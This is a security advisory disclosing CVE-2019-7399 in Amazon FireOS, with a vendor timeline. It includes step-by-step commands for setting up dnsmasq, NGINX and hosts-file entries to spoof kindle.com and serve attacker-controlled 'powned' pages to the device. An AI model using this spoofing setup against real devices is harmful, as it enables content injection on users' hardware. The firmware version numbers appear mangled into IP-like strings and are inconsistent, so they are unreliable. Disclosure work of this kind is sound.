The issue was discovered in FireOS v22.214.171.124 and fixed by the vendor in v126.96.36.199 that was released in November 2018. Devices will automatically update to the latest version. CVE-2019-7399 has been assigned by MITRE to track this issue.
Screenshots of the captured traffic:
Steps To Replicate (on Ubuntu 18.04)
1. Install the application on the Android device but do not start it.
2. Install dnsmasq and NGINX on the Linux host:
sudo apt-get install dnsmasq nginx
3. Modify the /etc/hosts file to add the following entry to map the domain name to the Linux host:
192.168.1.x www.kindle.com 192.168.1.x kindle.com
4. Configure /etc/dnsmasq.conf file to listen on the IP and restart DNSMASQ
listen-address=192.168.1.x sudo /etc/init.d/dnsmasq restart
5. Add a file with malicious content (you may need to use sudo):
cd /var/www/html mkdir support echo powned >support/privacy echo powned >support/terms
6. Modify the settings on the Kindle device to static, set DNS to point to “192.168.1.x”. AT THIS POINT – the Kindle device will resolve DNS against the Linux computer and serve the large servers file
Vendor Response and Mitigation
The issue was discovered in FireOS v188.8.131.52 and fixed by the vendor in v184.108.40.206 that was released in November 2018. Devices will automatically update to the latest version. MITRE assigned CVE-2019-7399 to track this issue.
Amazon tracking # PO135449968
Text of the advisory written by Yakov Shafranovich.
2018-09-03: Initial report to the vendor
2018-09-04: Report triaged and being reviewed by the vendor
2018-09-17: Communication from the vendor, issue still being reviewed
2019-01-10: Fix confirmed, communication regarding disclosure
2019-01-30: Vendor pinged about CVE assignment
2019-02-03: Draft advisory sent for review
2019-02-04: CVE issued by MITRE
2019-02-07: Public disclosure; minor syntax updates